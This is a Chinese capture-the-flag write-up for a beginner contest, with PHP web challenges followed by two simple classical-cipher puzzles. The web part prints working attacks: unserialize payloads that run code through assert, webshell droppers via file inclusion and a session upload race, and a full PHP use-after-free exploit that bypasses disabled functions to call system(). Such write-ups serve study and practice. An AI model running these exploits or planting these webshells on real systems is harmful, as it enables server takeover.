骗人的萌新赛

WEB

RealEzPHP

在页面源代码里发现./time.php?source,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

由于$b($a)的存在,此处可以通过assert触发动态代码执行漏洞

编写脚本读取phpinfo

1
2
3
4
5
6
7
8
9
10
11
<?php

class HelloPhp
{
public $a = 'eval("phpinfo();")';
public $b = 'assert';
}

$c = new HelloPhp();

echo serialize($c);
1
O:8:"HelloPhp":2:{s:1:"a";s:18:"eval("phpinfo();")";s:1:"b";s:6:"assert";}

发现flag就在环境变量里面

另外也可以先传入一个一句话马,然后进行代码执行

1
2
3
4
5
6
7
8
9
10
<?php

class HelloPhp
{
public $a = 'eval("file_put_contents(\'a.php\', base64_decode(\'PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==\'));")';
public $b = 'assert';
}

$a = new HelloPhp();
echo serialize($a);
1
O:8:"HelloPhp":2:{s:1:"a";s:86:"eval("file_put_contents('a.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbYV0pOw=='));")";s:1:"b";s:6:"assert";}

看了某大佬的WriteUp,发现他是使用call_user_func函数读取的phpinfo

1
O:8:"HelloPhp":2:{s:1:"a";s:7:"phpinfo";s:1:"b";s:14:"call_user_func";}

ezinclude

这题由于出题人手抖,造成了非预期,然而预期解却无法打通,被坑得惨惨,guoke师傅出来挨打!

给出hint:md5($secret.$name)===$pass,很明显这是哈希长度拓展攻击的标志,这题预期解是写脚本通过hushpump爆破密钥长度,但是我写脚本却打不通,问了出题人知道出现了非预期,就是当给name pass任意传参后在Cookie中会拿到一个哈希值:

将它作为pass传参即可绕过进入下一步:

1
window.location.href="flflflflag.php";

访问flflflflag.php,提示include($_GET["file"]),即文件包含,尝试伪协议读取flflflflag.php源码:

1
2
3
4
5
6
7
8
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

发现data input zip都被ban了,而且靶机又无法访问外网,后来找到了一个脚本(LFI via SegmentFault)可以直接文件包含上传一句话马:

魔改后的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import string

charset = string.digits + string.letters

base_url = "http://af519d2d-f0ad-46aa-a3ba-691d7d64c558.node3.buuoj.cn"


def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response = requests.post(url, files=files)
except Exception as e:
print e


def generate_tmp_files():
file_content = "<?php if(file_put_contents('/tmp/ssh_session_15h3na0', '<?php @eval($_POST[a]); ?>')){echo 'flag';}?>"
phpinfo_url = "%s/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" % (base_url)
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print "[+] %d / %d" % (i, times)
upload_file_to_include(phpinfo_url, file_content)


def main():
generate_tmp_files()


if __name__ == "__main__":
main()

脚本跑了后可以在dir.php里看到写入的文件,别问我怎么知道的这个文件,受平台影响,问出题人要的…

1
2
3
4
5
6
7
8
9

array(3) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(9) "php575ChW"
}

包含一下生成的那个文件php575ChW

1
http://af519d2d-f0ad-46aa-a3ba-691d7d64c558.node3.buuoj.cn/flflflflag.php?file=/tmp/phpauI8jT

会发现在dir.php中生成了ssh_session_15h3na0,此时文件包含该文件,蚁剑连接:

1
http://af519d2d-f0ad-46aa-a3ba-691d7d64c558.node3.buuoj.cn/flflflflag.php?file=/tmp/ssh_session_15h3na0

然后上传bypass脚本,或者直接蚁剑插件读取环境变量:

脚本附下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
<?php

pwn("env");

function pwn($cmd)
{
global $abc, $helper, $backtrace;

class Vuln
{
public $a;

public function __destruct()
{
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if (!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper
{
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8)
{
$address = 0;
for ($j = $s - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}

function ptr2str($ptr, $m = 8)
{
$out = "";
for ($i = 0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8)
{
$i = 0;
for ($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8)
{
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if ($s != 8) {
$leak %= 2 << ($s * 8) - 1;
}
return $leak;
}

function parse_elf($base)
{
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for ($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if ($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if ($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if (!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf)
{
list($data_addr, $text_size, $data_size) = $elf;
for ($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if ($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if ($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak)
{
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for ($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if ($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs)
{
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if ($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while ($f_entry != 0);
return false;
}

function trigger_uaf($arg)
{
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if (stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for ($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) {
};

if (strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if (!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if (!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if (!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if (!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for ($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

然后访问即可:

1
http://af519d2d-f0ad-46aa-a3ba-691d7d64c558.node3.buuoj.cn/bypass.php

另一种传马脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import threading

url='http://47.97.210.141:9555/index.bak.php'
r=requests.session()
headers={
"Cookie":'PHPSESSID=123456'
}
def POST():
while True:
files={
"upload":'' #上传无效的空文件
}
data={
"PHP_SESSION_UPLOAD_PROGRESS": '''<?php echo '15h3na0';var_dump(scandir('/tmp/'));file_put_contents('/tmp/a.php', base64_decode(base64_decode('UEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiSW1FaVhTazdQejQ9'))); ?>'''
}
r.post(url,files=files,headers=headers,data=data)

def READ():
while True:
event.wait()
t=r.get("http://47.97.210.141:9555/index.bak.php?action=/tmp/sess_123456",headers=headers)
if '15h3na0' not in t.text:
print('[+]retry')
else:
print(t.text)
event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()

超简单的PHP!!!超简单!!!

F12发现隐藏文件,源代码里发现msg.php,伪协议读取源码:

1
http://exaple.com/index.bak.php?action=php://filter/convert.base64-encode/resource=msg.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
header('content-type:application/json');
session_start();
function safe($msg){
if (strlen($msg)>17){
return "msg is too loooong!";
} else {
return preg_replace("/php/","?",$msg);
}
}

if (!isset($_SESSION['msg'])&empty($_SESSION['msg']))$_SESSION['msg'] = array();

if (isset($_POST['msg']))
{

array_push($_SESSION['msg'], ['msg'=>safe($_POST['msg']),'time'=>date('Y-m-d H:i:s',time())]);
echo json_encode(array(['msg'=>safe($_POST['msg']),'time'=>date('Y-m-d H:i:s',time())]));
exit();
}
if(!empty($_SESSION['msg'])){
echo json_encode($_SESSION['msg']);
} else {echo "还不快去留言!";}
?>

发现可以进行session文件包含,脚本梭就是了,脚本就是上面那个脚本,然后bypass就搞定了

再放一遍脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import threading

url='http://exaple.com/index.bak.php'
r=requests.session()
headers={
"Cookie":'PHPSESSID=123456'
}
def POST():
while True:
files={
"upload":'' #上传无效的空文件
}
data={
"PHP_SESSION_UPLOAD_PROGRESS": '''<?php echo '15h3na0';var_dump(scandir('/tmp/'));file_put_contents('/tmp/a.php', base64_decode(base64_decode('UEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiSW1FaVhTazdQejQ9'))); ?>'''
}
r.post(url,files=files,headers=headers,data=data)

def READ():
while True:
event.wait()
t=r.get("http://exaple.com/index.bak.php?action=/tmp/sess_123456",headers=headers)
if '15h3na0' not in t.text:
print('[+]retry')
else:
print(t.text)
event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()

蚁剑连接:

1
http://exaple.com/index.bak.php?action=/tmp/a.php

CRYPTO

本来西工大师傅说他们是萌新赛,所以就出了两道简单的密码学题投过去了,没想到此等水题竟然收了,本来说是放校内通道的,结果开赛后我发现两题都上到了校外赛道,接着就被一群大佬秒了…真是没想到这次萌新赛题这么难,我的题就权当是缓解缓解各位选手的心态吧。

这是什么密码哦

该题灵感来自和平精英官方微博前段时间发的一张图片,其实也就是这道题的考点,以日历作为解密的关键,对右下角字符进行解密。

将日历的横向星期的第一个字母提取出来,重复的以1、2区分;取日期前二十六天标注上二十六个英文字母,得到:

然后对右下角的相当于坐标的密钥:F1 W1 S22 S21 T12 S11 W1 S13进行解密,得到:calendar,包上flag{}得到flag:flag{calendar}

Classical Cipher

题目附件压缩包中包含一个压缩包和一个key文本文件,key文本文件中提示flag用flag{}包裹,同时给出了压缩包密码密文:gsv_pvb_rh_zgyzhs,此处为Atbash码,中文名埃特巴什码,其实就是第一个字母对应最后一个,以此类推…

但是此处并未给出提示是埃特巴什码,而是在下方给出了部分字母对应的明文,不了解此密码的可以通过所给出明文的三个字母推断出规律对其他密文解密,或者可以通过在线解密网站进行解密,这里通过凯撒密码或者quipqiup解密出来的结果都不对,quipqiup得到的结果会错一位字母。

最终得到解压密码:the_key_is_atbash

解压后,是一张古典密码图片,密文为古埃及象形文字猪圈变形密码,通过对应解密字符可以解密出:classicalcode

最终包上flag{}得到flag:flag{classicalcode}

解密脚本:

C语言(网上找的)

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
#include<ctype.h>
int main(){
int i=0;
char c[100];
scanf("%s",c);
while(c[i]!='\0'){
printf("%c",'z'-(tolower(c[i])-'a'));
i++;
}
return 0;
}

Python

1
2
3
4
5
6
7
8
9
# @Author : 15h3na0
cry = 'gsv_pvb_rh_zgyzhs'

for i in cry:
if i == '_':
print('_', end='')
else:
res = 122 - (ord(i) - 97)
print(chr(res), end='')
1
2
3
4
5
6
7
8
9
10
# @Author : MoonBack
for i,j in zip("pvb","key"):
print(ord(i)+ord(j))
key=''
for i in "gsv_pvb_rh_zgyzhs":
if i!="_":
key=key+chr(219-ord(i))
else:
key=key+"_"
print(key)